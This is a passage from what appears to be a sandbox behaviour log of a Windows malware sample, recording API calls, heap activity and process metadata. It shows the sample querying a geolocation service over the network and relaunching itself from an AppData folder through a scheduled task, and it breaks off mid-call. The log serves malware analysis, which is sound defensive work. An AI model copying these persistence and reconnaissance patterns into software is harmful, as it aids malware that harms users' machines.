\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0045.498] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18edc0 | out: lpCharType=0x18edc0) returned 1 [0045.498] GetLastError () returned 0x0 [0045.498] SetLastError (dwErrCode=0x0) [0045.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x18eaf8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0045.499] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0045.499] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18e8e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0045.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f0c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa7\x01\x59\x15\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0045.499] GetLastError () returned 0x0 [0045.499] SetLastError (dwErrCode=0x0) [0045.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f1c0, cbMultiByte=256, lpWideCharStr=0x18eb18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0045.499] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0045.499] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18e908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0045.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18efc0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa7\x01\x59\x15\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0045.499] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x65f708 [0045.499] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40c304 [0045.500] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.500] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.500] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.500] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x65ff10 [0045.501] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x65db78 [0045.501] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.501] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.501] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.502] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x65f458) returned 0x80 [0045.502] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0045.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x653d28 [0045.588] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) Thread: id = 37 os_tid = 0x644 Thread: id = 38 os_tid = 0x32c Thread: id = 39 os_tid = 0x248 Thread: id = 40 os_tid = 0x590 Thread: id = 41 os_tid = 0x41c Thread: id = 42 os_tid = 0x660 Process: id = "6" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x214c8000" os_pid = "0x714" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x414" cmd_line = "taskeng.exe {6D8B2882-1230-420E-9307-11BBC8B69057} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 43 os_tid = 0x78c Thread: id = 44 os_tid = 0x648 Thread: id = 45 os_tid = 0x328 Thread: id = 46 os_tid = 0x2ac Thread: id = 47 os_tid = 0x6e4 Thread: id = 48 os_tid = 0x6d0 Thread: id = 49 os_tid = 0x130 Process: id = "7" image_name = "370e.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe" page_root = "0x165cb000" os_pid = "0x618" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x714" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0x5cc [0053.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd38fc950, dwHighDateTime=0x1d52ab3)) [0053.642] GetCurrentThreadId () returned 0x5cc [0053.642] GetCurrentProcessId () returned 0x618 [0053.642] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=17393451388) returned 1 [0053.670] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0053.670] GetProcessHeap () returned 0x5c0000 [0053.671] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0053.671] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0053.672] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 